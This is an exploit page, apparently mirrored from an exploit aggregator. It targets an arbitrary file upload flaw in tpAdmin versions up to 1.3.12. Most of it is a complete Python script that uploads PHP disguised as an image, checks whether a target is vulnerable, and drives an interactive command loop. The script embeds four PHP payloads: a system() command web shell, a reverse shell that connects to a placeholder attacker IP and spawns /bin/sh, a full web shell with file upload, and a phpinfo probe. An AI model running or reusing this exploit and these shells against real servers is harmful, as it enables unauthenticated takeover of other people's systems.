Share
## https://sploitus.com/exploit?id=PACKETSTORM:216795
=============================================================================================================================================
    | # Title     : tpAdmin โ‰ค 1.3.12 Remote Code Execution via Arbitrary File Upload                                                            |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.3 (64 bits)                                                            |
    | # Vendor    : https://github.com/yuan1994/tpAdmin                                                                                         |
    =============================================================================================================================================
    
    [+] Summary    : A critical Remote Code Execution (RCE) vulnerability exists in tpAdmin versions โ‰ค 1.3.12 due to improper validation of file uploads within the preview.php component under /admin/lib/webuploader/0.1.5/server/.
                     The application fails to properly validate file type, MIME type, and executable content when processing Base64-encoded data URIs. 
    				 An attacker can craft a malicious payload disguised as an image and upload arbitrary PHP code to the server. 
    				 If the uploaded file is stored within a web-accessible directory and PHP execution is permitted, this results in unauthenticated remote code execution
    
    [+] POC : 
    
    #!/usr/bin/env python3
    
    import requests
    import base64
    import sys
    import argparse
    from urllib.parse import urljoin
    import time
    
    class Colors:
        GREEN = '\033[92m'
        RED = '\033[91m'
        YELLOW = '\033[93m'
        BLUE = '\033[94m'
        END = '\033[0m'
    
    def print_banner():
        """Prints the tool banner"""
        banner = f"""
    {Colors.BLUE}
    โ•”โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•—
    โ•‘      tpadmin RCE Exploit                                     โ•‘
    โ•‘      Remote Code Execution via Arbitrary File Upload         โ•‘
    โ•‘      Discovered by: indoushka                                โ•‘
    โ•‘      Exploit coded for educational purposes only             โ•‘
    โ•šโ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•โ•
    {Colors.END}
        """
        print(banner)
    
    def encode_payload(php_code):
        """
        Encodes PHP code to base64
        
        Args:
            php_code (str): The PHP code to be encoded
            
        Returns:
            str: The base64 encoded code
        """
        return base64.b64encode(php_code.encode()).decode()
    
    def upload_shell(target_url, php_code, output_file=None):
        """
        Uploads a shell to the target server
        
        Args:
            target_url (str): The base target URL
            php_code (str): The PHP code to upload
            output_file (str): The resulting filename (optional)
            
        Returns:
            tuple: (Success status, shell link, message)
        """
    
        vuln_path = "/admin/lib/webuploader/0.1.5/server/preview.php"
        full_url = urljoin(target_url, vuln_path)
        encoded_code = encode_payload(php_code)
    
        payload = f"data:image/php;base64,{encoded_code}"
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
            "Accept-Language": "en-US,en;q=0.5",
            "Content-Type": "application/x-www-form-urlencoded",
            "Connection": "keep-alive"
        }
        
        try:
            print(f"{Colors.YELLOW}[*] Sending payload to: {full_url}{Colors.END}")
    
            response = requests.post(
                full_url,
                headers=headers,
                data=payload,
                timeout=10,
                verify=False 
            )
    
            if response.status_code == 200:
    
                import re
                url_pattern = r'http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\\(\\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
                urls = re.findall(url_pattern, response.text)
                
                shell_url = None
                for url in urls:
                    if '.php' in url:
                        shell_url = url
                        break
    
                if not shell_url:
    
                    filename_match = re.search(r'([a-f0-9]+\.php)', response.text)
                    if filename_match:
                        filename = filename_match.group(1)
                        shell_url = urljoin(target_url, f"/public/uploads/{filename}")
                
                return True, shell_url, "File uploaded successfully"
            else:
                return False, None, f"Upload failed: {response.status_code}"
                
        except requests.exceptions.Timeout:
            return False, None, "Connection timed out"
        except requests.exceptions.ConnectionError:
            return False, None, "Failed to connect to the server"
        except Exception as e:
            return False, None, f"Error: {str(e)}"
    
    def generate_php_shell(shell_type="simple"):
        """
        Generates PHP shell code of various types
        
        Args:
            shell_type (str): Shell type (simple, system, reverse, full)
            
        Returns:
            str: PHP code
        """
        
        shells = {
            "simple": """<?php phpinfo(); ?>""",
            
            "system": """<?php
        echo "<h2>System Command Executor</h2>";
        if(isset($_REQUEST['cmd'])) {
            echo "<pre>";
            $cmd = ($_REQUEST['cmd']);
            system($cmd);
            echo "</pre>";
            die;
        } else {
            echo "Usage: ?cmd=command";
        }
    ?>""",
            
            "reverse": """<?php
        // Reverse Shell - Replace IP and PORT
        $ip = 'YOUR_IP';
        $port = YOUR_PORT;
        $sock = fsockopen($ip, $port);
        $proc = proc_open('/bin/sh -i', array(0=>$sock, 1=>$sock, 2=>$sock), $pipes);
    ?>""",
            
            "full": """<?php
        // Integrated Web Shell
        echo "<h1 style='color:red;'>tpadmin RCE Shell - CVE-2026-2113</h1>";
        echo "<hr>";
        
        // System Information
        echo "<h3>System Info:</h3>";
        echo "<pre>";
        echo "OS: " . php_uname() . "\\n";
        echo "User: " . get_current_user() . "\\n";
        echo "PHP Version: " . phpversion() . "\\n";
        echo "Server Software: " . $_SERVER['SERVER_SOFTWARE'] . "\\n";
        echo "Document Root: " . $_SERVER['DOCUMENT_ROOT'] . "\\n";
        echo "</pre>";
        
        // Command Execution
        if(isset($_REQUEST['cmd'])) {
            echo "<h3>Command Execution:</h3>";
            echo "<pre>";
            $cmd = $_REQUEST['cmd'];
            system($cmd);
            echo "</pre>";
        }
        
        // Simple UI
        echo "<hr>";
        echo "<form method='POST'>";
        echo "Command: <input type='text' name='cmd' size='50'>";
        echo "<input type='submit' value='Execute'>";
        echo "</form>";
        
        // File Upload
        if(isset($_FILES['file'])) {
            $uploaddir = './';
            $uploadfile = $uploaddir . basename($_FILES['file']['name']);
            if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
                echo "File uploaded: " . $uploadfile . "\\n";
            } else {
                echo "File upload failed\\n";
            }
        }
        
        echo "<hr>";
        echo "<form enctype='multipart/form-data' method='POST'>";
        echo "Upload file: <input type='file' name='file'>";
        echo "<input type='submit' value='Upload'>";
        echo "</form>";
    ?>"""
        }
        
        return shells.get(shell_type, shells["simple"])
    
    def check_vulnerability(target_url):
        """
        Checks if the target is vulnerable
        
        Args:
            target_url (str): The target URL
            
        Returns:
            bool: Whether the target is vulnerable
        """
        
        vuln_path = "/admin/lib/webuploader/0.1.5/server/preview.php"
        full_url = urljoin(target_url, vuln_path)
        
        try:
            response = requests.get(full_url, timeout=5, verify=False)
    
            if response.status_code == 200:
    
                test_code = "<?php echo 'test'; ?>"
                encoded = encode_payload(test_code)
                payload = f"data:image/php;base64,{encoded}"
                
                test_response = requests.post(
                    full_url,
                    data=payload,
                    timeout=5,
                    verify=False
                )
                
                if test_response.status_code == 200:
                    return True
                    
        except:
            pass
            
        return False
    
    def interactive_shell(shell_url):
        """
        Runs an interactive shell
        
        Args:
            shell_url (str): The shell URL
        """
        
        print(f"{Colors.GREEN}[+] Interactive shell started{Colors.END}")
        print(f"{Colors.YELLOW}[*] Type 'exit' to quit{Colors.END}")
        print(f"{Colors.YELLOW}[*] Type 'help' for assistance{Colors.END}")
        
        while True:
            try:
                cmd = input(f"{Colors.BLUE}shell> {Colors.END}").strip()
                
                if cmd.lower() == 'exit':
                    break
                elif cmd.lower() == 'help':
                    print("Available commands:")
                    print("  exit         - Exit the shell")
                    print("  help         - Display this help")
                    print("  clear        - Clear the screen")
                    print("  any command  - Execute any system command")
                    continue
                elif cmd.lower() == 'clear':
                    import os
                    os.system('cls' if os.name == 'nt' else 'clear')
                    continue
                elif not cmd:
                    continue
                    
                # Send command to shell
                params = {'cmd': cmd}
                response = requests.get(shell_url, params=params, timeout=10, verify=False)
                
                if response.status_code == 200:
                    print(response.text)
                else:
                    print(f"{Colors.RED}[-] Error executing command{Colors.END}")
                    
            except KeyboardInterrupt:
                print("\nExiting...")
                break
            except Exception as e:
                print(f"{Colors.RED}[-] Error: {str(e)}{Colors.END}")
    
    def main():
        """Main function"""
        
        print_banner()
        
        parser = argparse.ArgumentParser(
            description="tpadmin RCE Exploit - CVE-2026-2113",
            formatter_class=argparse.RawDescriptionHelpFormatter
        )
        
        parser.add_argument(
            "-u", "--url",
            required=True,
            help="Target URL (e.g., http://target.com)"
        )
        
        parser.add_argument(
            "-t", "--type",
            choices=["simple", "system", "reverse", "full"],
            default="simple",
            help="Shell type (default: simple)"
        )
        
        parser.add_argument(
            "-c", "--command",
            help="Single command to execute (instead of interactive shell)"
        )
        
        parser.add_argument(
            "-o", "--output",
            help="Save results to a file"
        )
        
        parser.add_argument(
            "--check-only",
            action="store_true",
            help="Only check if the target is vulnerable"
        )
        
        parser.add_argument(
            "--no-ssl-verify",
            action="store_true",
            help="Ignore SSL certificate verification"
        )
        
        args = parser.parse_args()
    
        if args.no_ssl_verify:
            requests.packages.urllib3.disable_warnings()
    
        print(f"{Colors.YELLOW}[*] Checking target: {args.url}{Colors.END}")
        
        if args.check_only:
            if check_vulnerability(args.url):
                print(f"{Colors.GREEN}[+] Target is vulnerable!{Colors.END}")
                sys.exit(0)
            else:
                print(f"{Colors.RED}[-] Target is not vulnerable or unreachable{Colors.END}")
                sys.exit(1)
    
        php_code = generate_php_shell(args.type)
    
        if args.command and args.type == "system":
            php_code = f"<?php system('{args.command}'); ?>"
    
        success, shell_url, message = upload_shell(args.url, php_code, args.output)
        
        if success:
            print(f"{Colors.GREEN}[+] {message}{Colors.END}")
            
            if shell_url:
                print(f"{Colors.GREEN}[+] Shell URL: {shell_url}{Colors.END}")
    
                if args.output:
                    with open(args.output, 'w') as f:
                        f.write(f"Target: {args.url}\n")
                        f.write(f"Shell URL: {shell_url}\n")
                        f.write(f"PHP Code:\n{php_code}\n")
                    print(f"{Colors.GREEN}[+] Results saved to: {args.output}{Colors.END}")
    
                if args.command:
    
                    response = requests.get(shell_url, params={'cmd': args.command}, verify=False)
                    if response.status_code == 200:
                        print(f"{Colors.GREEN}[+] Command result:{Colors.END}")
                        print(response.text)
                    else:
                        print(f"{Colors.RED}[-] Command execution failed{Colors.END}")
                else:
    
                    try:
                        interactive_shell(shell_url)
                    except KeyboardInterrupt:
                        print("\nExiting...")
                        
            else:
                print(f"{Colors.YELLOW}[*] Shell link not found; manual search might be required{Colors.END}")
                print(f"{Colors.YELLOW}[*] Try looking in: {args.url}/public/uploads/{Colors.END}")
                
        else:
            print(f"{Colors.RED}[-] {message}{Colors.END}")
            sys.exit(1)
    
    if __name__ == "__main__":
        main()
    
    Greetings to :======================================================================
    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|
    ====================================================================================